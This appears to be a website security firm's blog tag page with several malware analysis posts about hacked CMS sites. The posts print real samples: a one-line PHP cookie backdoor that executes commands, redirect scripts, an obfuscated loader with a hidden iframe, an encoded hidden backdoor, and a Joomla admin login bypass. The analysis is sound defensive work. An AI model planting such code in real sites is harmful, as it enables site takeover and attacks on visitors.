Tag: Malware

Set your Cookie, Execute a Command

Backdoors evolve. They tend to get more complex, harder to understand and harder to decode, but this is not always the case.


Most of the backdoors rely on PHP-enabled engine options that allow execution of commands. Also, those options depend on some of the core functionalities of most of the CMS systems out there.

The case today was different. The backdoor was so tiny that by overlooking some of the file names on your website you can easily miss it.

<?php if (isset($_COOKIE["i5o8vz"])) @$_COOKIE["cmd"]($_COOKIE["i5o8vz"]);

It is a really simple, yet powerful backdoor. The attacker who placed it on your website sets his cookie so he can execute the command in the payload of the cookie, and as we know, setting a cookie is a piece of a cake. Also, $_COOKIE or $_POST variables are used as a “cloaking method” once they are not logged by default on access_logs, like $_GET, making it harder to detect anomalies when inspecting logs.

If you notice some suspicious activity on your website, or it is sending SPAM on its own, or even if you have been blacklisted by the major search engines, you can rely on us to clean and protect your website.

Mar 9, 2017 by Yuliyan Tsvetkov

Monetized JavaScript Redirect to Free Porn Webcams for...

Attackers will do desperate and obvious things to boost the views of their 'customers'.

On a daily basis we find different malicious redirects (some are very well hidden, others not so much).

The case with this JavaScript redirect is not so different than the other malicious redirects out there, except for one thing - it is constructed from multiple redirects via multiple servers in order for the attacker to gather statistics and monetize the ‘clicks’ from the scripts.


<script type="text/javascript">if (screen.width <= 480) {window.location = "hxxp://portal-b[.]pw/XcTyTp";}</script>

This is a simple JavaScript injection that redirects you to 'Free porn web cams' if your device screen width size is equal or less than 480px. Most of the mobile phones out there will be affected.

The interesting part of this malicious redirect is that during each different execution, it redirects you to another website where another malicious script is hosted, and then you are redirected to the monetization platform which redirects you to a random porn website.

hxxp://infectedsite[.]dom/wp-content/js/js.html (compromised website used as jump point to the below URL)

The content of the js.html is this:

<meta http-equiv="refresh" content="0;URL=hxxp://portal-b[.]pw/X9DC2z"/>

After the next redirect, the shortened URL sends you to a malicious click monetization website:

<html>           <head>               <meta http-equiv="REFRESH" content="1; URL='hxxp://click-cpa[.]net/out?zoneId=1466739-1466890'">               <script type="text/javascript">window.location = "hxxp://click-cpa[.]net/out?zoneId=1466739-1466890";</script>           </head>           </html>

And voila! You are redirected to a random porn website from their list and generating some cents for the attacker.

If your website has been infected and need some help cleaning it up, please let us know.

Mar 2, 2017 by Yuliyan Tsvetkov

Ghost from the Past

Some sites may stay infected or not properly cleaned for years. Eventually, they come to us and we clean them. It doesn’t matter whether the malware is old or new. But old malware may tell stories for those who can read it.

For example, this February (2017), we cleaned one site with infected JavaScript files. There was nothing special; everything was cleaned automatically. However our analyst, Moe Obaid ,decided to take a look at the removed code:

date=new Date();var ar="pE=C r:]?me;...cw{ 'nBgNA>}h)ly";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f12,0,60,12,24,-33,...skipped...126,-63,69,-72,6,9,54,-105,-21,0,120]".replace(k.substr(0,1),'[');
pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);
e=e();ar2=e(ar2);s="";var pos=0;
for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);e(s);

The obfuscation was quite familiar, but this time my attention was drawn to the following code:

pau="rn ev2010".replace(date.getFullYear()-1,"al");

In order to deobfuscate the code, the result of this expression should be "rn eval" (to form the "return eval") in the next statement. But as you can see, this could only happen back in 2011! So I had to slightly modify the code to deobfuscate it, which gave me this code for invisible iframe:

<i f r a m e src='hxxp://g3service[.]ru/in.php?a=QQkFBwQEAAADBgAGEkcJBQcEAQQHDQAMAg==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></i f r a m e>

Indeed, this malware was active back in June of 2011 and now the domain is defunct.

This information is enough to tell us that the malware was designed to only work in 2011 (back then hackers liked to use disposable domains for just a few days or even hours) and that the site hasn’t been properly cleaned for more than five years. Since 2012, that defunct malware stayed there like a ghost from the past.

Feb 28, 2017 by Denis Sinegubko

When malware injection goes wrong

Today while scanning a client’s website, I found a failed attempt by attackers to hide the location of a backdoor. It is very common for us to find backdoor uploaders on websites, as they are one of the principle ways attackers upload malicious content onto websites. However, there was something interesting about this particular case.

Our scanners found a file which triggered a generic signature php.backdoor.uploader_gen.007. Though we see a lot of trigger functions that may be used as backdoors, in this particular case, the file name stuck out to me:

./googlec4d267ac9f2bab3e.html

Anyone that uses Google Webmaster Tools will recognize this as a verification file for the analytics service. The attackers were hiding behind the legitimate filename and path, hoping that nobody would notice!

Accessing the file in my browser yielded this result:

What they didn’t realize is that usually .html files are not interpreted as php scripts. I’m sorry, better luck on the next injection.

This is a good example of why it’s important to employ the use of file integrity monitoring and any modifications to files on your website.

Fun fact: The usual size of a GWT verification file is around 50-55 bytes. If you ever hop onto your server and notice that your GWT file is much larger than that, then this simple trick might have been used against you!

Feb 23, 2017 by Ben Martin

Hiding malicious code from the user using white...

Over the years, attackers have used different techniques for hiding malicious files on websites. They obfuscated code, changed legit functions to execute malware, modified whole core files to execute their malicious activity and much more.


In this article, we’ll describe a simple way of hiding malware from non-experienced webmasters that are using text editors which do not wrap long lines of code. Instead of injecting complex and obfuscated code, attackers simply added white spaces in the beginning of the file. The snippet in question follows (please notice the scroll bar at the bottom):

At first glance, the file looked pretty normal. Upon further inspection, we noticed that there was a code shifted within 598 whitespace characters on the first row containing the following content:

<p

$x8 = "x63x68x72"; $E7 = "x69x6ex74x76x61x6c"; $Qb = $x8($E7("x31x30x31")).$x8($E7($x8($E7("x3….

In this particular case, the attacker hid a heavily-encoded PHP backdoor into the file. There are different attacks using this very same technique, such as, SEO Spam Injections, Credential & Credit Card Stealers, and others.

If you suspect any malware activity on your website and at first glance you cannot find anything suspicious, we recommend checking for modified files. If you are not comfortable to modify files and the database yourself,  you can rely on the Security Engineers at https://sucuri.net to clean and protect your website.

Feb 14, 2017 by Yuliyan Tsvetkov

RealStatistics Goes TrafficAnalytics

In the last few months, our Incident Response Team detected an interesting malicious code that affected a high number of websites. This malware is a variation of the "Realstatistics" campaign described in details in our blog here and although the code is extremely simple, the damages are devastating.

The following snippet is being injected into the theme files (mostly header.php) and database (wp_posts).


<script type='text/javascript' src='hxxp://js[.]trafficanalytics[.]online/js/js.js'></script>

The malware behavior is consistent with the "Realstatistics" but with a little twist and so far, it seems to be focusing only on WordPress installations. This campaign also aims to redirect visitors to inadvertent sites hopping through different addresses and landing in another page promoting specific products or content that generate more revenue to the attackers.

Here is the connection flow during some tests:

Landing on the following page:

During the investigation of several infection scenarios we identified a vulnerable file being removed from almost every cleaned site: searchreplacedb2.php. Although the name may vary, it was placed on the site's root directory and could be used by any visitor with the link, or with the right Google dork.

This tool was coded back in 2009 to help site owners to search and replace content in their database. However, the tool doesn't have any security feature, allowing anyone to load the wp-config.php info and connect to the database.

As soon as connected, the user can select one or multiple tables and perform a search/replace in order to fix something on their site or to inject some malicious content.

We weren't able to identify any patterns on what the attacker searches and replaces on the infected sites, because of that, cleanup requires double attention. Also, if you use such third party tools on your server, make sure to delete them immediately once you finish the task you uploaded them for.

If you are experiencing such redirects, this could be the reason why and we highly recommend checking your site against our free scanner Sitecheck.

Feb 2, 2017 by Rodrigo Escobar

Joomla admin login bypass – set your UA...

Every day we analyse hundreds of new malicious files. Some of them are simple backdoors, injected iframes, or one liner defacements.

Another type of malware, equally interesting, are the ones that interact with authentication interfaces. These malicious codes may allow attackers to log-in with a particular set of bogus credentials or completely circumvent security measures implemented to prevent unauthorized access to the back-end.


In this note, I will describe how an attacker cleverly hijacked core functions of the Joomla CMS to connect to the database of the website, select user with specific privileges and bypass the authentication mechanism based on an User Agent.

As we mentioned above, the condition for the bypass to happen is if they use a specific User Agent when performing the request: 

$ref = $_SERVER['HTTP_USER_AGENT'];$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";if (preg_match($keywordsRegex, $ref)) {

The file can remain under the radar as it has no base64 encoding or any other obfuscation inside. It uses standard core functions, normal SQL query and no fuzzy strings.

The bypass itself is pretty straight forward - it calls the "JPluginHelper::importPlugin('user');" core function and scans the database for the "Super Administrator" user role in the "usertype" column of the "users" table. It also takes into account the Joomla version due to some changes in the authentication mechanism:

if (version_compare(JVERSION, '1.6.0', 'ge')) {       $result = $mainframe->triggerEvent('onUserLogin', array(array('username' => $result->username), array('action' => 'core.login.admin')));   } else {       $result = $mainframe->triggerEvent('onLoginUser', array(array('username' => $result->username), array()));   }

If the above SQL query returns valid results, it prints that the operation was successful and the attacker have successfully logged in to the compromised Joomla website:

Print 'Joomla Login Successful.';

The match string is used by several Web shells on the Internet. Its even used for so called WordPress root kit so it is good idea to scan your files for the UA match string and remove any files that have it inside, or if you are unsure what to do you can trust the Security engineers at https://sucuri.net/ for checking, clearing and protecting your website from malicious code.

Feb 1, 2017 by Yuliyan Tsvetkov